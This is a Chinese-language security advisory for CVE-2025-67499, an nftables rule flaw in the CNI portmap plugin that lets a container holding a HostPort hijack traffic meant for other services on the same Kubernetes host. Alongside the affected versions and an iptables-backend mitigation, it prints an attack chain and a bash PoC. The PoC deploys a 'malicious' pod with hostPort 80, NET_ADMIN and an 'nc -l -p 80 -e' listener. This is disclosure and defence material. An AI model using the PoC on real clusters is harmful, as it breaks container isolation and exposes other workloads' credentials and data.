IPBUF安全漏洞报告
English
CVE-2025-67499 CVSS 6.6 中危

CVE-2025-67499: CNI portmap插件nftables后端流量劫持漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-67499
漏洞类型
访问控制错误
CVSS评分
6.6 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
containernetworking/plugins (CNI portmap plugin)

相关标签

CVE-2025-67499CNIportmapnftables流量劫持访问控制容器网络Kubernetescontainernetworking/pluginsHostPort

漏洞概述

CVE-2025-67499是发生在containernetworking/plugins项目portmap插件中的一个访问控制错误漏洞。该插件用于实现Kubernetes容器网络中的HostPort功能,允许容器模拟绑定主机端口并将流量转发到容器内部。漏洞源于1.6.0版本引入的nftables后端支持存在逻辑缺陷,在使用nftables作为后端时,插件会错误地转发所有目标端口与配置端口相同的数据包,而忽略了目标IP地址的验证。这导致请求HostPort转发的恶意容器可以拦截发往同一主机上其他容器或服务的数据流量,包括那些本不应该被该容器接收的流量。攻击者需要具备在目标节点上部署容器的权限,并且需要目标系统明确配置使用nftables后端。该漏洞于2025年12月10日公开披露,已在1.9.0版本中修复。

技术细节

CNI portmap插件的HostPort功能依赖于主机上的防火墙规则来捕获发往特定端口的流量并将其重定向到目标容器。在引入nftables后端支持(大约1.6.0版本)后,插件在生成nftables规则时存在逻辑错误。正确实现应该只捕获目标IP为本地节点且目标端口为指定端口的流量,但在有漏洞的版本中,规则只匹配目标端口,忽略了目标IP字段。这意味着所有发往该端口的流量,无论其目的地址是本地节点还是同一主机上的其他容器IP,都会被portmap规则捕获并转发到请求HostPort的容器。攻击者可以通过部署一个请求特定主机端口(如80端口)HostPort转发的容器来实现流量劫持,当同一主机上的其他服务或容器也使用相同端口时,本应发往那些服务的流量会被错误地重定向到攻击者的容器。该漏洞的利用需要攻击者能够在目标Kubernetes节点上创建容器(通常需要一定的集群权限),并且目标集群的CNI配置明确指定使用nftables后端。

攻击链分析

STEP 1
1. 环境侦察
攻击者首先确认目标Kubernetes集群使用CNI portmap插件,并且配置了nftables后端而非iptables后端。可以通过检查CNI配置文件或尝试查询nftables规则来确认。
STEP 2
2. 容器部署
攻击者利用其在集群中的权限,部署一个请求特定HostPort(如80或443端口)转发的容器。该容器需要能够与Kubernetes API交互以创建Pod资源。
STEP 3
3. 规则注入
portmap插件在容器启动时生成nftables NAT规则。由于漏洞存在,生成的规则只匹配目标端口,忽略了目标IP地址,导致创建了过于宽泛的流量捕获规则。
STEP 4
4. 流量劫持
所有发往该主机指定端口的流量,无论其目的是本地主机服务还是同一主机上的其他容器,都会被nftables规则捕获并转发到攻击者的容器,攻击者因此可以接收并分析这些流量。
STEP 5
5. 数据窃取或进一步攻击
攻击者可以记录拦截的敏感数据(如认证凭证、API密钥等),或者基于拦截的流量内容进一步发起中间人攻击,篡改响应数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-67499 PoC - CNI portmap nftables backend traffic hijacking # This PoC demonstrates how a malicious container can intercept traffic # intended for other services on the same host. # Prerequisites: # 1. Target system uses CNI with portmap plugin configured for nftables backend # 2. Attacker has ability to deploy containers to the target Kubernetes node # Step 1: Create a malicious pod definition requesting HostPort on port 80 cat << 'EOF' > malicious-pod.yaml apiVersion: v1 kind: Pod metadata: name: malicious-portmap-poc labels: app: poc-attack spec: containers: - name: attack-container image: busybox:latest command: ['sh', '-c', 'while true; do nc -l -p 80 -e echo "Intercepted traffic"; done'] ports: - containerPort: 80 hostPort: 80 # Request HostPort forwarding securityContext: capabilities: add: ['NET_ADMIN'] EOF # Step 2: Deploy the malicious pod to the target cluster kubectl apply -f malicious-pod.yaml # Step 3: Verify the nftables rule was created incorrectly # In vulnerable versions, this will show rules that match ONLY the port, # not the destination IP echo "Checking nftables rules for port 80..." sudo nft list chain ip nat PREROUTING # Step 4: Test traffic interception # Traffic sent to any service on port 80 on this host will be redirected # to the attacker's container instead of its intended destination echo "Send test traffic: curl http://<host-ip>:80" # Cleanup kubectl delete -f malicious-pod.yaml # Note: This vulnerability allows intercepting traffic that was not intended # for the attacking container, violating network isolation between containers.

影响范围

containernetworking/plugins 1.6.0
containernetworking/plugins 1.6.1
containernetworking/plugins 1.6.2
containernetworking/plugins 1.7.0
containernetworking/plugins 1.7.1
containernetworking/plugins 1.8.0

防御指南

临时缓解措施
如果暂时无法升级到1.9.0版本,可通过将portmap插件配置为使用iptables后端来缓解此漏洞。具体方法是在CNI配置文件中为portmap插件添加"backend":"iptables"参数。需要注意的是,使用iptables后端可能会带来轻微的性能差异,但在安全性方面没有此漏洞的风险。建议在测试环境中验证配置变更不会影响现有服务后再部署到生产环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表